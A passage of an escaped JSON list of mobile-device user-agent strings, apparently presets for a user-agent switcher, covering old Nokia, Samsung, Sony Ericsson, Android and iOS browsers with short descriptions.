525\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaE7-00\\/010.016; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 ) AppleWebKit\\/525 (KHTML, like Gecko) Version\\/3.0 BrowserNG\\/7.2.7.3 3gpp-gba\"},{\"description\":\"E70 - SymbianOS 9.1 - Safari 413 es70\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; en-us) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413 es70\"},{\"description\":\"E90 - SymbianOS 9.2 - Safari 413\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.2; U; Series60\\/3.1 NokiaE90-1\\/07.24.0.3; Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 ) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413 UP.Link\\/6.2.3.18.0\"},{\"description\":\"Lumia 530 ARM - Windows Phone 8.1 - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 8.1; ARM; Trident\\/7.0; Touch; rv:11.0; IEMobile\\/11.0; NOKIA; Lumia 530) like Gecko\"},{\"description\":\"Lumia 620 ARM - Windows Phone OS 8.0 - IEMobile 10.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident\\/6.0; IEMobile\\/10.0; ARM; Touch; NOKIA; Lumia 920)\"},{\"description\":\"Lumia 630 ARM - Windows Phone 8.1 - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 8.1; ARM; Trident\\/7.0; Touch; rv:11.0; IEMobile\\/11.0; NOKIA; Lumia 630) like Gecko\"},{\"description\":\"Lumia 635 ARM - Windows NT 6.2 - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko\"},{\"description\":\"Lumia 920 ARM - Windows NT 6.2 - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo\"},{\"description\":\"Lumia 920 ARM - Windows Phone 8.1 - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 8.1; ARM; Trident\\/7.0; Touch; rv:11.0; IEMobile\\/11.0; NOKIA; Lumia 920) like Gecko\"},{\"description\":\"N70\",\"kind\":\"Mobile Devices\",\"ua\":\"NokiaN70-1\\/5.0609.2.0.1 Series60\\/2.8 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Link\\/6.3.1.13.0\"},{\"description\":\"N73 - SymbianOS 9.1 - Safari 413\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; en-us) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413\"},{\"description\":\"N73 (Service)\",\"kind\":\"Mobile Devices\",\"ua\":\"NokiaN73-1\\/3.0649.0.0.1 Series60\\/3.0 Profile\\/MIDP2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"N8 - Symbian 3 - Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaN8-00\\/014.002; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1; en-us) AppleWebKit\\/525 (KHTML, like Gecko) Version\\/3.0 BrowserNG\\/7.2.6.4 3gpp-gba\"},{\"description\":\"N80 - SymbianOS 9.1 - Safari 413\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; en-us) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413\"},{\"description\":\"N9 - MeeGo - Safari 534.13\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (MeeGo; NokiaN9) AppleWebKit\\/534.13 (KHTML, like Gecko) NokiaBrowser\\/8.5.0 Mobile Safari\\/534.13\"},{\"description\":\"N93 - SymbianOS 9.1 - Safari 413\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; de) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413\"},{\"description\":\"N95 - SymbianOS 9.2 - Safari 413\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.2; U; Series60\\/3.1 NokiaN95\\/10.0.018; Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413 UP.Link\\/6.3.0.0.0\"},{\"description\":\"N950 - MeeGo - Safari 534.13\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (MeeGo; NokiaN950-00\\/00) AppleWebKit\\/534.13 (KHTML, like Gecko) NokiaBrowser\\/8.5.0 Mobile Safari\\/534.13\"},{\"description\":\"N97 - SymbianOS 9.4 - WicKed 7.1.12344\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.4; Series60\\/5.0 NokiaN97-1\\/10.0.012; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1; en-us) AppleWebKit\\/525 (KHTML, like Gecko) WicKed\\/7.1.12344\"},{\"description\":\"X7 - Symbian 3 - Safari 533.4\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaX7-00\\/021.004; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 ) AppleWebKit\\/533.4 (KHTML, like Gecko) NokiaBrowser\\/7.3.1.21 Mobile Safari\\/533.4 3gpp-gba\"},{\"description\":\"Safari 525 - WebOS - Safari 525.27.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.3; U; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/1.0 Safari\\/525.27.1 Desktop\\/1.0\"},{\"description\":\"Treo 650 - PalmSource\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource\\/hspr-H102; Blazer\\/4.0) 16;320x320\"},{\"description\":\"e900 - Opera\\/Netfront\",\"kind\":\"Mobile Devices\",\"ua\":\"SEC-SGHE900\\/1.0 NetFront\\/3.2 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 Opera\\/8.01 (J2ME\\/MIDP; Opera Mini\\/2.0.4509\\/1378; nl; U; ssr)\"},{\"description\":\"Galaxy - Android 1.5 - Mobile Safari 525.20\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Galaxy - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Galaxy (Verizon) - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Galaxy S II - Android 4.0.3 - Mobile Safari 534.30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build\\/GRJ22) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"description\":\"Galaxy S 3 (SPH-L710) - Android 4.3 - Chrome 32.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; SPH-L710 Build\\/JSS15J) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1700.99 Mobile Safari\\/537.36\"},{\"description\":\"Galaxy S 4 (SCH-R970) - Android 5.0 - Chrome 45.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.1; SCH-R970 Build\\/LRX22C) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.84 Mobile Safari\\/537.36\"},{\"description\":\"Galaxy S 5 (SM-G900A) - Android 4.4 - Chrome 45.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-G900A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.94 Mobile Safari\\/537.36\"},{\"description\":\"Galaxy GT-P5210 tablet - Android 4.4.2 - AppleWebKit 534.30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"description\":\"GT-P7100 tablet - Android 3.0.1 - AppleWebKit 534.13\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build\\/HRI83) AppleWebkit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"description\":\"Jet\",\"kind\":\"Mobile Devices\",\"ua\":\"SAMSUNG-S8000\\/S8000XXIF3 SHP\\/VPP\\/R5 Jasmine\\/1.0 Nextreaming SMM-MMS\\/1.2.0 profile\\/MIDP-2.1 configuration\\/CLDC-1.1 FirePHP\\/0.3\"},{\"description\":\"Moment - Android 1.5 - Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"SGH-A867 - Netfront\",\"kind\":\"Mobile Devices\",\"ua\":\"SAMSUNG-SGH-A867\\/A867UCHJ3 SHP\\/VPP\\/R5 NetFront\\/35 SMM-MMS\\/1.2.0 profile\\/MIDP-2.0 configuration\\/CLDC-1.1 UP.Link\\/6.3.0.0.0\"},{\"description\":\"SGH X210 (WML)\",\"kind\":\"Mobile Devices\",\"ua\":\"SEC-SGHX210\\/1.0 UP.Link\\/6.3.1.13.0\"},{\"description\":\"SM-G900H - Android 6.0.1 - Chrome 52.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-G900H Build\\/MMB29K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.98 Mobile Safari\\/537.36\"},{\"description\":\"SM-G925R6 - Android 7.0 - Chrome 51.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SAMSUNG SM-G925R6 Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) SamsungBrowser\\/5.4 Chrome\\/51.0.2704.106 Mobile Safari\\/537.36\"},{\"description\":\"SM-T537A - Android 4.4.2 - Chrome 35.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/35.0.1916.141 Safari\\/537.36\"},{\"description\":\"Spica - Android 1.5 - Mobile Safari 525.20\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"X820\",\"kind\":\"Mobile Devices\",\"ua\":\"SEC-SGHX820\\/1.0 NetFront\\/3.2 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"K310iv\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonK310iv\\/R4DA Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Link\\/6.3.1.13.0\"},{\"description\":\"K550i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonK550i\\/R1JD Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"K610i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonK610i\\/R1CB Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"K750i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonK750i\\/R1CA Browser\\/SEMC-Browser\\/4.2 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"K800 - Opera 9.8\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (J2ME\\/MIDP; Opera Mini\\/5.0.16823\\/1428; U; en) Presto\\/2.2.0\"},{\"description\":\"K800i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonK800i\\/R1CB Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Link\\/6.3.0.0.0\"},{\"description\":\"K810i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonK810i\\/R1KG Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"P900 - Opera 8.0 Mini\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/8.01 (J2ME\\/MIDP; Opera Mini\\/1.0.1479\\/HiFi; SonyEricsson P900; no; U; ssr)\"},{\"description\":\"S500i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonS500i\\/R6BC Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"Satio - Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.4; U; Series60\\/5.0 SonyEricssonP100\\/01; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1) AppleWebKit\\/525 (KHTML, like Gecko) Version\\/3.0 Safari\\/525\"},{\"description\":\"T68 (WML)\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonT68\\/R201A\"},{\"description\":\"T100 (WML)\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonT100\\/R101\"},{\"description\":\"T610\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonT610\\/R201 Profile\\/MIDP-1.0 Configuration\\/CLDC-1.0\"},{\"description\":\"T650i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonT650i\\/R7AA Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"W580i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonW580i\\/R6BC Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"W660i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonW660i\\/R6AD Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"W810i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonW810i\\/R4EA Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Link\\/6.3.0.0.0\"},{\"description\":\"W850i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonW850i\\/R1ED Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"W950i - Opera 8.60 - Symbian OS\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonW950i\\/R100 Mozilla\\/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]\"},{\"description\":\"W995\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonW995\\/R1EA Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 UNTRUSTED\\/1.0\"},{\"description\":\"X10 - Android 1.6 - Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build\\/R1FA016) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"X10i - Android 1.6 - Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build\\/R1AA056) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Xperia X1 - Opera Mobi 9.5\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i\\/R2AA Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"Z800i\",\"kind\":\"Mobile Devices\",\"ua\":\"SonyEricssonZ800\\/R1Y Browser\\/SEMC-Browser\\/4.1 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Link\\/6.3.0.0.0\"},{\"description\":\"ZuneHD 4.3 - IEMobile 6.12 - CE\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\"},{\"description\":\"Android - Opera Mini 7.5 (11.1010)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (Android; Opera Mini\\/7.5.33361\\/31.1543; U; en) Presto\\/2.8.119 Version\\/11.1010\"},{\"description\":\"Android - Firefox 35.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:35.0) Gecko\\/35.0 Firefox\\/35.0\"},{\"description\":\"Android 6.0.1 - Firefox 48.0 - (Samsung SM-G935F)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"description\":\"Android 0.5 - Safari 419\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit\\/522  (KHTML, like Gecko) Safari\\/419.3\"},{\"description\":\"Android 1.1 - Mobile Safari 523\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit\\/525.10  (KHTML, like Gecko) Version\\/3.0.4 Mobile Safari\\/523.12.2\"},{\"description\":\"Android 1.5 - HTC Dream - Mobile Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"HTC_Dream Mozilla\\/5.0 (Linux; U; Android 1.5; en-ca; Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Android 2.0 - Motorola Droid - Mobile Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0; en-us; Droid Build\\/ESD20) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Android 2.1 - Nexus One - Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build\\/ERD62) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Android 2.2 - HTC Evo - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Android 2.2 - HTC Incredible - Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Android 2.2 - Samsung Galaxy - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Android - Fennec 2.0.1 (arm)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1 Fennec\\/2.0.1\"},{\"description\":\"Android - 3.0.1 - Safari 534.13 - Acer Iconia\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build\\/HRI66) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"description\":\"Android - 3.0.1 - Mobile Safari 523.12 - Motorola Xoom\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0; en-us; Xoom Build\\/HRI39) AppleWebKit\\/525.10  (KHTML, like Gecko) Version\\/3.0.4 Mobile Safari\\/523.12.2\"},{\"description\":\"Android 4.0.3 - Mobile Safari 534.30 - HTC Sensation\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"description\":\"Android 4.0.3 - Mobile Safari 534.30 - Samsung Galaxy S II\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build\\/GRJ22) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"description\":\"Android 4.0.4 - Opera 12.00\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (Android 4.0.4; Linux; Opera Mobi\\/ADR-1205181138; U; pl) Presto\\/2.10.254 Version\\/12.00\"},{\"description\":\"Android - Fennec 10.0.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1 Fennec\\/10.0.1\"},{\"description\":\"Android 4.1.2 - Chrome 30.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; SHV-E250S Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.82 Mobile Safari\\/537.36\"},{\"description\":\"Android 4.2 - Firefox 19.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Android 4.2; rv:19.0) Gecko\\/20121129 Firefox\\/19.0\"},{\"description\":\"Android 4.3 - AppleWebKit\\/536.23\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; sdk Build\\/MR1) AppleWebKit\\/536.23 (KHTML, like Gecko) Version\\/4.3 Mobile Safari\\/536.23\"},{\"description\":\"Android 4.4 - (Nexus 5) - AppleWebKit\\/536.23\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4; Nexus 5 Build\\/BuildID) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"description\":\"Android 4.4.2 - Chrome 35.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/35.0.1916.141 Safari\\/537.36\"},{\"description\":\"Android 4.4.2 - Chrome 51.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SM-T230NU Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.81 Safari\\/537.36\"},{\"description\":\"Android 5.0 - Chrome 45.0 - Galaxy S 4 (SCH-R970)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.1; SCH-R970 Build\\/LRX22C) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.84 Mobile Safari\\/537.36\"},{\"description\":\"Android 5.0.2 - Chrome 38.0 - Samsung SM-T530NU\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build\\/LRX22G) AppleWebKit\\/537.36 (KHTML, like Gecko) SamsungBrowser\\/3.2 Chrome\\/38.0.2125.102 Safari\\/537.36\"},{\"description\":\"Android 5.1.1 - Nexus 7 - Opera 30.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Nexus 7 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"description\":\"Android 6.0 - Chrome 52.0 - HTC One M9\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; HTC One M9 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.98 Mobile Safari\\/537.36\"},{\"description\":\"Android 6.0 - Chome 53.0 - LG-D850\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; LG-D850 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.97 Mobile Safari\\/537.36\"},{\"description\":\"Android 6.0 - Chome 53.0 - Nexus 5X\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; Nexus 5X Build\\/MDB08L) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"description\":\"Android 6.0.1 - Chrome 52.0 - Samsung SM-G900H\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-G900H Build\\/MMB29K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.98 Mobile Safari\\/537.36\"},{\"description\":\"Android 7.0 - Chrome 53.0 - Nexus 9\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; Nexus 9 Build\\/NRD90R) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Safari\\/537.36\"},{\"description\":\"Android 7.0 - Chome 56.0 - LG-H918\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LG-H918 Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Mobile Safari\\/537.36\"},{\"description\":\"Android 8.0.0 - Chrome 60.0 - Pixel XL OPR6\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 8.0.0; Pixel XL Build\\/OPR6.170623.012) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Mobile Safari\\/537.36\"},{\"description\":\"Android 8.0.0 - Chrome 60.0 - Pixel XL OPR6\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 8.0.0; Pixel XL Build\\/OPR6.170623.012) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Mobile Safari\\/537.36\"},{\"description\":\"iOS 1.0 - iPhone - Safari 419.3\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420  (KHTML, like Gecko) Version\\/3.0 Mobile\\/1A543a Safari\\/419.3\"},{\"description\":\"iOS 2.0 - iPhone - Safari 525.200\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5A347 Safari\\/525.200\"},{\"description\":\"iOS 2.2.1 - iPod - Safari 525.20\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5H11a Safari\\/525.20\"},{\"description\":\"iOS 3.0 - iPhone - Safari 528.16\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; 